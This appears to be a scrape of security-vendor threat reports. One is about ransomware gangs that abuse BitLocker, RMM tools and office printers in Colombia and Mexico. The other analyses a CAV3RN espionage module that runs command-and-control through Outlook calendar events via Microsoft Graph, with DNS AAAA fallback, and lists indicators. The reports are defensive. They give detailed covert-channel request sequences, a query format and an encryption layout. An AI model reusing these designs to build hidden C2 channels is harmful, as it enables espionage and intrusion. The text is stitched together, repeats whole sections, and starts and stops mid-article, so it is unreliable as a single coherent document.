The database engine used by the company was Microsoft SQL Server 2019.0150.2160.04, misconfigured to allow operating system сommand execution via the xp_cmdshell extended stored procedure.

Due to this misconfiguration of an internet-exposed service, the attackers established a channel capable of executing any type of command directed at the server and the local infrastructure within its scope.

Attack path

One of the main objectives was to identify shared systems and resources that provided access to critical information. Our analysis confirmed the attackers’ access to systems storing configuration parameters for networking, enterprise management, and cloud services, among others.

A subset of the critical information identified and collected by the attackers

In early May, the attackers focused on running additional scans and deploying ManageEngine’s Endpoint Central RMM (Remote Monitoring and Management) to establish persistence and begin the final stages of their intrusion.

Scanning and RMM deployment

Further RMM-type applications, such as Mesh Agent and Tactical RMM, were installed in the days that followed. These were used to deploy scheduled tasks responsible for enabling the BitLocker service and individually encrypting the infrastructure’s disks, generating a key for each encrypted system.

Commands executed through RMM tools to collect Bitlocker keys

Finally, in mid-May, the attackers managed to execute a Group Policy Object (GPO) used to deploy activation and encryption tasks, as well as other policies responsible for continued deployment of RMM applications via scheduled tasks. The activity initially targeted critical systems but later spread to every system synchronized with the domain controller. Users became aware of the attack when their machines displayed a blue screen with the message “Hacked by XEntry Team”, and their credentials stopped working to access their systems.

A few hours later, ransom notes began emerging from office printers.

Ransom note printed by the XEntry team

These cases confirm that adversary’s objective is to gain access to infrastructure while avoiding investment in or partnership with ransomware groups. Instead, they leverage built-in Microsoft tools to facilitate data encryption and ransom payments. Monitoring and centralizing logs on protected resources, as well as promptly managing alerts, are critical to countering this type of intrusion.

Conclusions

• Although the systems under review had security measures in place, there was a lack of proper alert management or inadequate decisions regarding application incompatibilities.
• We strongly recommend configuring the Remote Desktop Protocol (RDP) in strict accordance with cybersecurity best practices to prevent unauthorized access. This is especially critical: according to our Global Report: Anatomy of a Cyber World, more than 13% of incidents are related to policy violations and configuration errors, confirming that misconfigurations continue to pose a significant risk.
• Organizations should prioritize strict application control policies and active monitoring of network traffic for command-and-control (C2) communications. This is especially critical: according to the same report, more than 20% of incidents involved the abuse of RMM (Remote Monitoring and Management) tools for execution and C2 strategies. The fact that attackers used more than three distinct tools to gain control during a single incident further underscores the urgent need for these measures.
• Some questions remain unanswered due to a lack of evidence and a hasty system restoration effort that bypassed critical stages of the incident response process. It is important to ensure an adequate incident response procedure, preserving evidence to confirm all related activities, and adjusting or proposing controls to prevent future incidents involving similar TTPs.
• Although the ransom notes do not reveal a clear connection between the actors, certain words used in the messages, as well as the method of delivery and communication, may confirm a link:

“As a guarantee, we have no negative online reviews about non-fulfillment of our obligations…” (Ransom note from the first case)

“Our reputation is the guarantee that all content will be fulfilled…” (Ransom note from the second case)

Our teams continue to monitor these threats.

Detection signatures

• Trojan.Multi.Agent.gen
• Trojan.Win32.GenAutorunMsSqlServerCommandRun.a
• Trojan.Win32.Generic
• Exploit.Win32.SCShell.a

Recently, our teams in Latin America investigated a series of incidents involving misconfiguration, the deployment of BitLocker, and the exploitation of corporate printers. Attackers used the devices to notify organizations that their infrastructure had been compromised and they had to pay a ransom to recover their data.

This article analyzes two incidents that occurred in June in Colombia and in May in Mexico. We highlight the similarities in the attackers’ communications and outline emerging trends in ransom amounts.

Initial sign of an attack

In both cases, the affected users initially noticed a padlock icon next to their drives in Windows Explorer. This indicated that the drive was encrypted with BitLocker, blocking access to its contents.

Drive icon indicating that the drive is locked

A recovery key was required to unlock the drive.

Attempt to access the disk’s contents and the prompt for the BitLocker recovery key

This is not the first time we have seen such threats; a few years ago, our team discovered a threat known as ShrinkLocker, which utilized BitLocker to achieve its goals.

First case: abusing RDP to encrypt data

One of the incidents occurred in Colombia in June. The attackers exploited an internet-exposed RDP service on a machine connected to an 8 TB storage device containing mission-critical data. After taking control of the system and manipulating user credentials, the attackers enabled BitLocker exclusively on the drive that primarily stored financial data. Once the encryption was complete, they locked the drive and used the company’s printers to produce ransom notes.

Ransomware note

Unfortunately, it was not possible to obtain evidence in the case due to the company’s rush to restore the encrypted disk. The communication with the attackers revealed a demand for just $3,000, and the company considered paying the ransom. After that, the system was restored before the forensic team could take any action, eliminating the evidence needed to assess the incident.

Attacker’s reply to the victim’s email sent to the address in the printed ransom note

This attack was made possible by an internet-facing remote desktop service (RDP) with additional open ports, which employees used to access corporate information. By exploiting this network exposure and misconfiguration, attackers breached the system, identified an additional drive, and leveraged BitLocker to encrypt the data and demand a ransom payment. Leaving RDP ports open without proper security controls jeopardizes the security of systems and information, as highlighted in the our “Global Report: Anatomy of a Cyber World“.

Exposed ports identified in the system in recent months

The company confirmed that, due to compatibility issues with applications required for operation, EPP (Endpoint Protection Platform) protection was disabled on the system, making it easier for attackers to validate, enumerate, and execute applications without revealing malicious activity to central monitoring systems.

Second case: meet the XEntry Team

In another incident, which occurred in Mexico in May, our team identified how the threat actor gained initial access to the infrastructure. They exploited a misconfigured MSSQL service. This allowed them to execute commands on the system after obtaining the database login credentials from code insecurely published on GitHub.

XEntry team attack

In this incident, the attack began three months prior to detection, with the intruder discovering and verifying their access to the environment. After confirming their access and privilege level within the MSSQL server settings, which extended beyond the DBMS to the underlying operating system, the attackers initially focused on manipulating certain aspects of the web server configuration on the same system. They lowered the server’s security settings and created web shell files in the publicly accessible folders. Many of these attempts to manipulate the service or create malicious files were contained by existing EPP security controls, but despite the alerts, the necessary investigation to address the activity was not conducted.

Commands executed when attempting to manipulate the web server

The attackers subsequently confirmed their ability to execute commands locally and set up their attack infrastructure to transmit data via a communications bridge. By exploiting the MSSQL service, they gained access to each of the organization’s internal systems.

The database engine used by the company was Microsoft SQL Server 2019.0150.2160.04, misconfigured to allow operating system сommand execution via the xp_cmdshell extended stored procedure.

Due to this misconfiguration of an internet-exposed service, the attackers established a channel capable of executing any type of command directed at the server and the local infrastructure within its scope.

Attack path

One of the main objectives was to identify shared systems and resources that provided access to critical information. Our analysis confirmed the attackers’ access to systems storing configuration parameters for networking, enterprise management, and cloud services, among others.

A subset of the critical information identified and collected by the attackers

In early May, the attackers focused on running additional scans and deploying ManageEngine’s Endpoint Central RMM (Remote Monitoring and Management) to establish persistence and begin the final stages of their intrusion.

Scanning and RMM deployment

Further RMM-type applications, such as Mesh Agent and Tactical RMM, were installed in the days that followed. These were used to deploy scheduled tasks responsible for enabling the BitLocker service and individually encrypting the infrastructure’s disks, generating a key for each encrypted system.

Commands executed through RMM tools to collect Bitlocker keys

Finally, in mid-May, the attackers managed to execute a Group Policy Object (GPO) used to deploy activation and encryption tasks, as well as other policies responsible for continued deployment of RMM applications via scheduled tasks. The activity initially targeted critical systems but later spread to every system synchronized with the domain controller. Users became aware of the attack when their machines displayed a blue screen with the message “Hacked by XEntry Team”, and their credentials stopped working to access their systems.

A few hours later, ransom notes began emerging from office printers.

Ransom note printed by the XEntry team

These cases confirm that adversary’s objective is to gain access to infrastructure while avoiding investment in or partnership with ransomware groups. Instead, they leverage built-in Microsoft tools to facilitate data encryption and ransom payments. Monitoring and centralizing logs on protected resources, as well as promptly managing alerts, are critical to countering this type of intrusion.

Conclusions

• Although the systems under review had security measures in place, there was a lack of proper alert management or inadequate decisions regarding application incompatibilities.
• We strongly recommend configuring the Remote Desktop Protocol (RDP) in strict accordance with cybersecurity best practices to prevent unauthorized access. This is especially critical: according to our Global Report: Anatomy of a Cyber World, more than 13% of incidents are related to policy violations and configuration errors, confirming that misconfigurations continue to pose a significant risk.
• Organizations should prioritize strict application control policies and active monitoring of network traffic for command-and-control (C2) communications. This is especially critical: according to the same report, more than 20% of incidents involved the abuse of RMM (Remote Monitoring and Management) tools for execution and C2 strategies. The fact that attackers used more than three distinct tools to gain control during a single incident further underscores the urgent need for these measures.
• Some questions remain unanswered due to a lack of evidence and a hasty system restoration effort that bypassed critical stages of the incident response process. It is important to ensure an adequate incident response procedure, preserving evidence to confirm all related activities, and adjusting or proposing controls to prevent future incidents involving similar TTPs.
• Although the ransom notes do not reveal a clear connection between the actors, certain words used in the messages, as well as the method of delivery and communication, may confirm a link:

“As a guarantee, we have no negative online reviews about non-fulfillment of our obligations…” (Ransom note from the first case)

“Our reputation is the guarantee that all content will be fulfilled…” (Ransom note from the second case)

Our teams continue to monitor these threats.

Detection signatures

• Trojan.Multi.Agent.gen
• Trojan.Win32.GenAutorunMsSqlServerCommandRun.a
• Trojan.Win32.Generic
• Exploit.Win32.SCShell.a

Introduction

In June 2026, as part of our Kaspersky Threat Intelligence Reporting service, we published extensive research on Project CAV3RN, a sophisticated modular framework used for cyberespionage activity against targets in Israel. We have been tracking this cluster since December 2025, and in late April 2026, we observed a major architectural shift: the developers moved from a three-component framework consisting of a downloader, executor, and uploader to a controller-based architecture with a dedicated WebSocket-enabled C2 communication component and a more extensible plugin system designed to support modular post-exploitation capabilities.

Subsequently, Check Point Research publicly reported on the same controller-based architecture in July 2026. However, neither our previous research nor the subsequent public reporting covered the latest communication component analyzed in this report.

Following our June 2026 publication, we identified a .NET Native AOT communication module that is apparently designed to replace the previous HTTP/WebSocket component. It exchanges commands and results through Outlook calendar events accessed via Microsoft Graph. If Microsoft Graph authentication or tenant validation fails, the module attempts to retrieve replacement connection settings through DNS AAAA responses.

Module network communication architecture

During the preparation of this report, additional public research covering this communication component became available. The research presented in our article is based on our independent analysis and includes several additional implementation details that complement the existing public reporting.

Technical details

The previously reported controller-based CAV3RN architecture separates C2 communication from command execution. The controller, uxtheme.dll, generates and maintains the seven-character Agent ID, manages the polling loop, processes built-in commands, and dispatches other tasks or commands to separate plugins. The previously used communication component, n-HTCommp.dll, retrieved commands and transmitted execution results over HTTP/WebSocket.

Project CAV3RN architecture (April 2026)

The module performs the same communication role but uses Outlook calendar events accessed through Microsoft Graph. Similarly to the previous version, its get and send interface and use of the same controller-generated Agent ID suggest that it was designed to replace the previous communication component. However, because the corresponding updated controller was not recovered, this replacement role is assessed rather than directly observed.

C2 communication module

The communication module, AzureCommunication.dll, is a DLL compiled with .NET Native AOT, consistent with several other components of the Project CAV3RN framework that are publicly documented. Such a compilation method turns the managed application into native machine code and removes most of the metadata and intermediate language that normally make .NET assemblies straightforward to analyze.

The module exposes its functionality through a single export named QueryInterface. We expect an updated controller to load the DLL, resolve this export, and pass it a null-terminated UTF-16 string. The accepted input format closely follows the interface used by the previously documented CAV3RN controller.

get_;;_<agent-id>_,_<legacy-url>  
send_;;_<agent-id>_,_<legacy-url>_,_<result>

The _;;_ delimiter separates the operation from its arguments, while _,_ separates the arguments.

For get, the module only uses the first argument as the Agent ID. For send, it uses only the Agent ID and the result. In both cases, the additional legacy URL is ignored. It remains part of the interface for compatibility with the controller, even though the new module obtains its destination and credentials from its own Microsoft Graph configuration.

Outlook calendar events as a C2 channel

The DLL contains a complete default configuration, including the Microsoft Entra tenant ID, application credentials, target mailbox, DNS bootstrap host, and cryptographic keys required to establish communication.

Before processing either get or send operation, the module looks for a relative file named logAzure.txt. Because the code supplies only a filename, Windows resolves it against the current working directory of the process hosting the DLL.

If logAzure.txt exists, the module reads and deserializes it. If it is absent, the module builds the configuration from the hardcoded values and writes the complete object to disk with the following structure:

{
  "TenantId": "******-****-****-****-**********",  // Microsoft Entra tenant ID
  "ClientId": "********-****-****-****-************",  // application/client ID
  "ClientSecret": "********************************************",
  "UserEmail": "***@*********.co.il", // Compromised target Microsoft 365 mailbox
  "Host": "cloudlanecdn[.]com", // DNS bootstrap domain
  "PublicKey": "-----BEGIN RSA PUBLIC KEY-----\r\n[omitted]\r\n-----END RSA PUBLIC KEY-----", // outbound encryption public key
  "PrivateKey": "-----BEGIN RSA PRIVATE KEY-----\r\n[omitted]\r\n-----END RSA PRIVATE KEY-----" // inbound decryption private key
}

Using the resulting configuration, the module creates a Microsoft Graph client and validates access by requesting the tenant’s organization record through a GET request to  https://graph.microsoft.com/v1.0/organization.

Attempting this request causes the Azure Identity library to obtain an OAuth application token:

POST https://login.microsoftonline.com/<TenantId>/oauth2/v2.0/token
client_id=<ClientId>
client_secret=<ClientSecret>
scope=https://graph.microsoft.com/.default
grant_type=client_credentials

After successful authentication, the module includes the token in subsequent Graph requests using the Authorization: Bearer <access-token> header. The module uses the default calendar of the configured mailbox as a dead-drop channel. Commands, heartbeats, and results all occupy the same fixed one-hour window 2050-05-13 22:00–23:00 UTC.

Scheduling the events for 2050 makes them unlikely to appear in ordinary calendar views. The calendar event subject identifies each event’s purpose and associated Agent ID. Heartbeat and result subjects append the fixed suffix 1500 to this value; the suffix is not part of the Agent ID.

Receiving a command

For a get request, the module queries calendarView and filters the results by the Agent ID:

GET /v1.0/users/***@*********.co.il/calendarView?startDateTime=2050-05-13T22:00:00&endDateTime=2050-05-13T23:00:00&$filter=contains(subject,'Event ID: <agent-id>')

If Graph returns one or more matches, the module selects the first returned event and requests its attachments:

GET /v1.0/users/***@*********.co.il/events/<EventId>/attachments
Authorization: Bearer <access-token>

After obtaining the attachment response, the module deletes the calendar event:

DELETE /v1.0/users/***@*********.co.il/calendar/events/<EventId>
Authorization: Bearer <access-token>

Our analysis found a consistent difference in capitalization between command and result attachments:

Inbound command decryption

Inbound commands use a combination of RSA and AES-GCM encryption. Once the attachments have been sorted and concatenated, the reconstructed encrypted command buffer begins with a 256-byte RSA-encrypted block containing the 32-byte AES key. The communication module decrypts this block with the RSA private key stored in its configuration, using RSA-OAEP with SHA-256.

The following 12 bytes contain the AES-GCM nonce, while the final 16 bytes contain the authentication tag. Everything between the nonce and tag is ciphertext. The module uses the recovered AES key to decrypt and authenticate this ciphertext with AES-256-GCM.

Encrypted attachment stored in a calendar event

After RSA-OAEP-SHA256 and AES-256-GCM decryption, the 63-byte ciphertext produces {"cid": "alXBCzcDl8hBuNE", "type": "self", "cmd": "003_;;__,_"}.

Decrypted command

The cid field appears to serve as a unique command-correlation identifier. As described in a previous publication of the framework, when the operator sets the JSON type field to self, the controller routes the command to its internal handler rather than dispatching it to an external plugin. In this command, the cmd field contains 003_;;__,_, where command 003 instructs the controller to toggle debug logging. After decryption, the communication module returns the complete command to the external controller through QueryInterface.

Sending command output

For a send request, the controller passes the command output to the communication module. The module encrypts the output using a newly generated AES-256-GCM key and protects that key with the configured RSA public key. It then divides the encrypted payload into chunks of up to 10 MiB.

To publish the result, the module creates a calendar event with the temporary subject d and attempts to add each encrypted chunk as a sequentially named attachment, such as File0.txt and File1.txt. After adding the attachments, it changes the subject to Boss Report ID: <agent-id>1500, marking the event as a completed result.

This process uses the following sequence of Microsoft Graph requests:

POST   /v1.0/users/***@*********.co.il/calendar/events
POST   /v1.0/users/***@*********.co.il/calendar/events/<EventId>/attachments
PATCH  /v1.0/users/***@*********.co.il/events/<EventId>

Together, the uploaded attachments contain fragments of one encrypted result package: the RSA-encrypted AES key, AES-GCM nonce, encrypted command output, and authentication tag. Recovering outbound results requires the private key corresponding to the outbound public key. This private key is assessed to be held separately by the attacker.

Heartbeat handling

The module maintains a heartbeat event identified by the subject Boss update ID: <agent-id>1500. The module searches the same fixed calendar window for a previous heartbeat associated with the agent. If one exists, the module deletes it and creates a replacement event with the temporary subject d through the following sequence of Microsoft Graph requests:

GET    /v1.0/users/***@*********.co.il/calendarView 
DELETE /v1.0/users/***@*********.co.il/events/<EventId> 
POST   /v1.0/users/***@*********.co.il/events

Finally, it updates the newly created event through the following PATCH request, replacing the temporary subject d with Boss update ID: <agent-id>1500.

PATCH /v1.0/users/***@*********.co.il/events/<EventId>
Authorization: Bearer <access-token>

{
  "subject": "Boss update ID: <agent-id>1500"
}

Heartbeat events use the same one-hour window in 2050 but contain no attachments.

The following figure summarizes the module’s operational workflow.

DNS AAAA configuration recovery mechanism

When OAuth token acquisition or the subsequent GET /v1.0/organization validation request fails, the module attempts to retrieve replacement TenantId, ClientId, ClientSecret, and UserEmail values through actor-controlled AAAA responses.

DNS-based configuration recovery (simplified)

The module uses cloudlanecdn[.]com as its configuration-recovery domain. The domain is delegated to four actor-controlled authoritative nameservers, ns1 through ns4.cloudlanecdn[.]com, allowing the operator to generate different AAAA responses according to the Agent ID, configuration field, and fragment offset.

The module submits the generated DNS queries through the operating system’s configured recursive resolver, which follows the domain’s delegation to one of the authoritative nameservers. The returned IPv6 address is treated as a 16-byte container for protocol data rather than as a network destination.

For both get and send operations, the controller supplies the seven-character Agent ID as the first argument to QueryInterface. The communication module converts its UTF-8 bytes into two-character uppercase hexadecimal values. For example, SFmLgQZ becomes 53 46 6D 4C 67 51 5A, which the module concatenates as 53466D4C67515A.

The hexadecimal identifier is then embedded in every recovery query. The module retrieves four Microsoft Graph configuration values in a fixed order, with each value assigned a numeric index:

Determining the field length through .p. queries

For each configuration value (TenantId, ClientId, ClientSecret, and UserEmail), the module first sends an AAAA query to determine the value’s total length: d.<hex-agent-id>.<field-index>.p.<host>.

In this format, <hex-agent-id> is the uppercase hexadecimal representation of the Agent ID supplied by the controller. The <field-index> identifies the requested configuration value according to the table above; for example, index 0 represents TenantId. The p marker indicates a length request, while <host> contains the configured DNS recovery domain, cloudlanecdn[.]com.

As an example, the following AAAA DNS query requests the length of the TenantId associated with Agent ID SFmLgQZ:

d.53466D4C67515A.0.p.cloudlanecdn[.]com

The AAAA response 2001:24:1234:5678:9abc:def0:1122:3344 corresponds to the byte sequence 20 01 00 24 12 34 56 78 9A BC DE F0 11 22 33 44. The module discards the first two bytes and interprets the following two bytes, 00 24, as a big-endian field length. This produces the value 0x0024, or 36 bytes. The remaining 12 bytes are ignored. The initial 2001 group is not treated as a network destination or strictly validated as a protocol marker; it simply occupies the two bytes that the module discards.

IPv6 AAAA record payload layout for obtaining length

In the observed example, the same process produced a 36-byte TenantId, a 36-byte ClientId, a 40-byte ClientSecret, and a 28-byte UserEmail. The protocol itself supports other lengths because each value’s length is supplied dynamically by its .p. response.

To illustrate this process, we reproduced the protocol in a controlled environment using a laboratory domain.

Field length encoding in DNS AAAA record responses (example)

Retrieving configuration data through .q. queries

After obtaining the field length from the .p. response, the module allocates a buffer of exactly that size and initializes an offset to 0. It then requests the field data using the following format: d.<hex-agent-id>.<field-index>.<offset>.q.<host>.

The <field-index> identifies the requested configuration value, while <offset> specifies where the fragment belongs in the output buffer. After checking for the sentinel address, the module discards the first two bytes of each normal .q. response and copies up to 14 of the remaining bytes. For the final response, it copies only the bytes required to reach the declared field length.

Queries continue at 14-byte offsets until the declared field length has been recovered.

The following figure shows the three .q. requests required to reconstruct a 36-byte TenantId.

TenantId retrieval process via DNS AAAA records (example)

In our laboratory responses, the first two bytes appear as the IPv6 group 2001 and are discarded. The responses at offsets 0 and 14 each provide 14 bytes, while the response at offset 28 supplies the final eight bytes. Concatenating and decoding these fragments produces the complete TenantId, 6f9d2a41-8c73-4b56-a1e8-2d407c95f3ab, as shown in the example figure.

The module repeats this procedure for ClientId, ClientSecret, and UserEmail. After reconstructing each value, it decodes the buffer as UTF-8, updates the corresponding configuration field, and writes the complete configuration to logAzure.txt. Once all four fields have been recovered, the module creates a new Graph client, repeats the /organization validation request, and resumes the original get or send operation if validation succeeds.

The DNS recovery mechanism updates only the TenantId, ClientId, ClientSecret, and UserEmail fields. It does not replace the configured DNS recovery host, RSA public or private keys, offering limited rotation for updating the domain itself that is used within the DNS fallback mechanism.

Failure handling and the sentinel AAAA response

In this module, the hard-coded IPv6 address 2001:4998:44:3507::8000 acts as a failure sentinel. After resolving an AAAA query, the module converts the first returned address to a string and compares it with this value before extracting any bytes. If the values match, it raises an exception and does not interpret the response as either a field length or configuration data.

The address belongs to Yahoo’s 2001:4998::/32 allocation. We could not determine why the developers selected it. The authoritative backend may return it for an unknown Agent ID, an unavailable field, an invalid index or offset, or an agent for which recovery is disabled. These conditions remain hypothetical because the backend was unavailable and the module handles every sentinel response in the same way.

Infrastructure

Historical DNS data shows that cloudlanecdn[.]com was registered on December 24, 2025. The domain initially used the Namecheap-operated nameservers dns1.registrar-servers.com and dns2.registrar-servers.com. On May 2, 2026, passive DNS first observed a transition from these vendor-managed nameservers to custom nameservers under cloudlanecdn[.]com.

Although the domain was delegated to four nameserver hostnames, their shared IP addresses reveal logical redundancy rather than four independently hosted DNS servers.

The shift from vendor‑managed DNS to custom in‑bailiwick authoritative nameservers aligns with the module’s DNS recovery design.

The DNS timeline overlaps with this new module’s development. Passive DNS first recorded the custom delegation on May 2, after the controller-and-plugin architecture was observed in April and before the May 19 timestamp stored in the new module. Because the custom authoritative infrastructure supports the module’s recovery protocol, we assess with moderate confidence that the infrastructure and module were prepared as part of the same development cycle.

Attribution

In our previous report, we attributed Project CAV3RN to OilRig (APT34) with low confidence. Analysis of the newly identified module provides additional evidence supporting this link.

Microsoft-hosted services for C2
Several OilRig malware strains have used Microsoft-hosted services for C2. RDAT malware exchanged commands and results through EWS email messages, and there are cases reported with the SC5k malware using Office 365 drafts, and OilCheck malware using Microsoft Graph to access Outlook drafts. CAV3RN uses the same class of service but stores commands and results in Outlook calendar events.

Secondary recovery mechanism for cloud C2
ESET previously documented OilBooster, which retrieved a replacement OAuth refresh token from a likely compromised website after repeated failures communicating with Microsoft OneDrive.

OilBooster used HTTP to recover a refresh token, whereas CAV3RN uses DNS AAAA records to recover four configuration fields. In both cases, the secondary mechanism restores access to the primary cloud C2 channel.

Compromised regional infrastructure
OilRig has previously used compromised infrastructure belonging to organizations in the regions it targets. Solar malware communicated through the compromised website of an Israeli human-resources company, while Whisper/Veaty malware used compromised Iraqi government Microsoft 365 mailboxes. The CAV3RN module similarly uses a compromised Microsoft 365 mailbox belonging to an Israeli law firm.

Based on the evidence discussed above, we retain our low-confidence assessment that Project CAV3RN is associated with OilRig. The new module shares several behavioral patterns with previously reported OilRig tooling, including the use of Microsoft-hosted services, attachment-based command exchange, and a secondary mechanism for restoring access to a cloud C2 channel. However, we identified no direct code reuse or infrastructure overlap.

Conclusions

The new module extends CAV3RN’s controller-and-plugin architecture with a Microsoft Graph-based communication transport. Its architectural continuity suggests that it was designed to replace the previous HTTP/WebSocket component with Outlook calendar events. If Graph authentication or validation fails, its DNS recovery protocol is designed to retrieve replacement connection settings.

The framework changed repeatedly between December 2025 and May 2026, indicating that development remains active. We continue to track this activity.

Indicators of compromise

Additional IoCs are available to customers of our Threat Intelligence Reporting service. For more details, contact us at intelreports@kaspersky.com.

File hashes

CAF021DDA726B8BA049C2AA395E505A1      AzureCommunication.dll
C092B02FBC0FDF7EE9608DD016673806      NewProject.dll
29B2B8C5D99F05BFCDD0D8D976EB5678      AzureCommunication.dll

Domains and IPs

cloudlanecdn[.]com
ns1[.]cloudlanecdn[.]com
ns2[.]cloudlanecdn[.]com
ns3[.]cloudlanecdn[.]com
ns4[.]cloudlanecdn[.]com
google.com[.]ayalon-print.co[.]il
clipeditskill[.]com
accesslinkssl[.]com
216[.]126[.]237[.]197
144[.]172[.]108[.]205

Introduction

In June 2026, as part of our Kaspersky Threat Intelligence Reporting service, we published extensive research on Project CAV3RN, a sophisticated modular framework used for cyberespionage activity against targets in Israel. We have been tracking this cluster since December 2025, and in late April 2026, we observed a major architectural shift: the developers moved from a three-component framework consisting of a downloader, executor, and uploader to a controller-based architecture with a dedicated WebSocket-enabled C2 communication component and a more extensible plugin system designed to support modular post-exploitation capabilities.

Subsequently, Check Point Research publicly reported on the same controller-based architecture in July 2026. However, neither our previous research nor the subsequent public reporting covered the latest communication component analyzed in this report.

Following our June 2026 publication, we identified a .NET Native AOT communication module that is apparently designed to replace the previous HTTP/WebSocket component. It exchanges commands and results through Outlook calendar events accessed via Microsoft Graph. If Microsoft Graph authentication or tenant validation fails, the module attempts to retrieve replacement connection settings through DNS AAAA responses.

Module network communication architecture

During the preparation of this report, additional public research covering this communication component became available. The research presented in our article is based on our independent analysis and includes several additional implementation details that complement the existing public reporting.

Technical details

The previously reported controller-based CAV3RN architecture separates C2 communication from command execution. The controller, uxtheme.dll, generates and maintains the seven-character Agent ID, manages the polling loop, processes built-in commands, and dispatches other tasks or commands to separate plugins. The previously used communication component, n-HTCommp.dll, retrieved commands and transmitted execution results over HTTP/WebSocket.

Project CAV3RN architecture (April 2026)

The module performs the same communication role but uses Outlook calendar events accessed through Microsoft Graph. Similarly to the previous version, its get and send interface and use of the same controller-generated Agent ID suggest that it was designed to replace the previous communication component. However, because the corresponding updated controller was not recovered, this replacement role is assessed rather than directly observed.

C2 communication module

The communication module, AzureCommunication.dll, is a DLL compiled with .NET Native AOT, consistent with several other components of the Project CAV3RN framework that are publicly documented. Such a compilation method turns the managed application into native machine code and removes most of the metadata and intermediate language that normally make .NET assemblies straightforward to analyze.

The module exposes its functionality through a single export named QueryInterface. We expect an updated controller to load the DLL, resolve this export, and pass it a null-terminated UTF-16 string. The accepted input format closely follows the interface used by the previously documented CAV3RN controller.

get_;;_<agent-id>_,_<legacy-url>  
send_;;_<agent-id>_,_<legacy-url>_,_<result>

The _;;_ delimiter separates the operation from its arguments, while _,_ separates the arguments.

For get, the module only uses the first argument as the Agent ID. For send, it uses only the Agent ID and the result. In both cases, the additional legacy URL is ignored. It remains part of the interface for compatibility with the controller, even though the new module obtains its destination and credentials from its own Microsoft Graph configuration.

Outlook calendar events as a C2 channel

The DLL contains a complete default configuration, including the Microsoft Entra tenant ID, application credentials, target mailbox, DNS bootstrap host, and cryptographic keys required to establish communication.

Before processing either get or send operation, the module looks for a relative file named logAzure.txt. Because the code supplies only a filename, Windows resolves it against the current working directory of the process hosting the DLL.

If logAzure.txt exists, the module reads and deserializes it. If it is absent, the module builds the configuration from the hardcoded values and writes the complete object to disk with the following structure:

{
  "TenantId": "******-****-****-****-**********",  // Microsoft Entra tenant ID
  "ClientId": "********-****-****-****-************",  // application/client ID
  "ClientSecret": "********************************************",
  "UserEmail": "***@*********.co.il", // Compromised target Microsoft 365 mailbox
  "Host": "cloudlanecdn[.]com", // DNS bootstrap domain
  "PublicKey": "-----BEGIN RSA PUBLIC KEY-----\r\n[omitted]\r\n-----END RSA PUBLIC KEY-----", // outbound encryption public key
  "PrivateKey": "-----BEGIN RSA PRIVATE KEY-----\r\n[omitted]\r\n-----END RSA PRIVATE KEY-----" // inbound decryption private key
}

Using the resulting configuration, the module creates a Microsoft Graph client and validates access by requesting the tenant’s organization record through a GET request to  https://graph.microsoft.com/v1.0/organization.

Attempting this request causes the Azure Identity library to obtain an OAuth application token:

POST https://login.microsoftonline.com/<TenantId>/oauth2/v2.0/token
client_id=<ClientId>
client_secret=<ClientSecret>
scope=https://graph.microsoft.com/.default
grant_type=client_credentials

After successful authentication, the module includes the token in subsequent Graph requests using the Authorization: Bearer <access-token> header. The module uses the default calendar of the configured mailbox as a dead-drop channel. Commands, heartbeats, and results all occupy the same fixed one-hour window 2050-05-13 22:00–23:00 UTC.

Scheduling the events for 2050 makes them unlikely to appear in ordinary calendar views. The calendar event subject identifies each event’s purpose and associated Agent ID. Heartbeat and result subjects append the fixed suffix 1500 to this value; the suffix is not part of the Agent ID.

Receiving a command

For a get request, the module queries calendarView and filters the results by the Agent ID:

GET /v1.0/users/***@*********.co.il/calendarView?startDateTime=2050-05-13T22:00:00&endDateTime=2050-05-13T23:00:00&$filter=contains(subject,'Event ID: <agent-id>')

If Graph returns one or more matches, the module selects the first returned event and requests its attachments:

GET /v1.0/users/***@*********.co.il/events/<EventId>/attachments
Authorization: Bearer <access-token>

After obtaining the attachment response, the module deletes the calendar event:

DELETE /v1.0/users/***@*********.co.il/calendar/events/<EventId>
Authorization: Bearer <access-token>

Our analysis found a consistent difference in capitalization between command and result attachments:

Inbound command decryption

Inbound commands use a combination of RSA and AES-GCM encryption. Once the attachments have been sorted and concatenated, the reconstructed encrypted command buffer begins with a 256-byte RSA-encrypted block containing the 32-byte AES key. The communication module decrypts this block with the RSA private key stored in its configuration, using RSA-OAEP with SHA-256.

The following 12 bytes contain the AES-GCM nonce, while the final 16 bytes contain the authentication tag. Everything between the nonce and tag is ciphertext. The module uses the recovered AES key to decrypt and authenticate this ciphertext with AES-256-GCM.

Encrypted attachment stored in a calendar event

After RSA-OAEP-SHA256 and AES-256-GCM decryption, the 63-byte ciphertext produces {"cid": "alXBCzcDl8hBuNE", "type": "self", "cmd": "003_;;__,_"}.

Decrypted command

The cid field appears to serve as a unique command-correlation identifier. As described in a previous publication of the framework, when the operator sets the JSON type field to self, the controller routes the command to its internal handler rather than dispatching it to an external plugin. In this command, the cmd field contains 003_;;__,_, where command 003 instructs the controller to toggle debug logging. After decryption, the communication module returns the complete command to the external controller through QueryInterface.

Sending command output

For a send request, the controller passes the command output to the communication module. The module encrypts the output using a newly generated AES-256-GCM key and protects that key with the configured RSA public key. It then divides the encrypted payload into chunks of up to 10 MiB.

To publish the result, the module creates a calendar event with the temporary subject d and attempts to add each encrypted chunk as a sequentially named attachment, such as File0.txt and File1.txt. After adding the attachments, it changes the subject to Boss Report ID: <agent-id>1500, marking the event as a completed result.

This process uses the following sequence of Microsoft Graph requests:

POST   /v1.0/users/***@*********.co.il/calendar/events
POST   /v1.0/users/***@*********.co.il/calendar/events/<EventId>/attachments
PATCH  /v1.0/users/***@*********.co.il/events/<EventId>

Together, the uploaded attachments contain fragments of one encrypted result package: the RSA-encrypted AES key, AES-GCM nonce, encrypted command output, and authentication tag. Recovering outbound results requires the private key corresponding to the outbound public key. This private key is assessed to be held separately by the attacker.

Heartbeat handling

The module maintains a heartbeat event identified by the subject Boss update ID: <agent-id>1500. The module searches the same fixed calendar window for a previous heartbeat associated with the agent. If one exists, the module deletes it and creates a replacement event with the temporary subject d through the following sequence of Microsoft Graph requests:

GET    /v1.0/users/***@*********.co.il/calendarView 
DELETE /v1.0/users/***@*********.co.il/events/<EventId> 
POST   /v1.0/users/***@*********.co.il/events

Finally, it updates the newly created event through the following PATCH request, replacing the temporary subject d with Boss update ID: <agent-id>1500.

PATCH /v1.0/users/***@*********.co.il/events/<EventId>
Authorization: Bearer <access-token>

{
  "subject": "Boss update ID: <agent-id>1500"
}

Heartbeat events use the same one-hour window in 2050 but contain no attachments.

The following figure summarizes the module’s operational workflow.

